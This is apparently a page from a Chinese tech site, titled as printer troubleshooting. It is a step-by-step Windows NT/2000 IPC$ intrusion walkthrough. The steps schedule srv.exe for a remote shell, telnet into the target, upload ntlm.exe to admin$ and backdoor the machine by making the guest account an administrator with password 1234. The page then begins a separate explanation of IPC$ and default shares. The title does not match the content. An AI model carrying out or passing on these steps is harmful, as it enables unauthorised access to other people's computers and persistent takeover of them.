windows无法连接打印机拒绝访问PC$命令详解 (4)

3. C:/>net time??//127.0.0.1??

查查时间，发现127.0.0.1 的当前时间是 2004/6/15 上午 11:00，命令成功完成。

4. C:/>at??//127.0.0.1??11:05 srv.exe??

用at命令启动srv.exe吧

5. C:/>net time??//127.0.0.1

再查查到时间没有？如果127.0.0.1 的当前时间是 2004/6/15 上午 11:05，那就准备开始下面的命令。

6. C:/>telnet 127.0.0.1 99??

这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。

虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了

7.C:/>copy ntlm.exe??//127.0.0.1/admin$

用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。

8. C:/WINNT/system32>ntlm??

输入ntlm启动（这里的C:/WINNT/system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务！

9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，*作就像在DOS上*作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把guest激活加到管理组????????

10. C:/>net user guest /active:yes??

将对方的Guest用户激活

11. C:/>net user guest 1234??

将Guest的密码改为1234,或者你要设定的密码

12. C:/>net localgroup administrators guest /add??

将Guest变为Administrator(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机)

ipc$详细解释大全

一 前言

网上关于ipc$入侵的文章可谓多如牛毛，而且也不乏优秀之作，攻击步骤甚至可以说已经成为经典的模式，因此也没人愿意再把这已经成为定式的东西拿出来摆弄。??

不过话虽这样说，但我个人认为这些文章讲解的并不详细，对于第一次接触ipc$的菜鸟来说，简单的罗列步骤并不能解答他们的种种迷惑（你随便找一个hack论坛搜一下ipc$，看看存在的疑惑有多少）。因此我参考了网上的一些资料，教程以及论坛帖子，写了这篇总结性质的文章，想把一些容易混淆，容易迷惑人的问题说清楚，让大家不要总徘徊在原地!??

注意：本文所讨论的各种情况均默认发生在win NT/2000环境下，win98将不在此次讨论之列，而鉴于win Xp在安全设置上有所提高，个别*作并不适用，有机会将单独讨论。

二 什么是ipc$

IPC$(Internet Process Connection)是共享"命名管道"的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能，它有一个特点，即在同一时间内，两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时，在初次安装系统时还打开了默认共享，即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些，微软的初衷都是为了方便管理员的管理，但在有意无意中，导致了系统安全性的降低。??

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/ruanjian/article-70763-4.html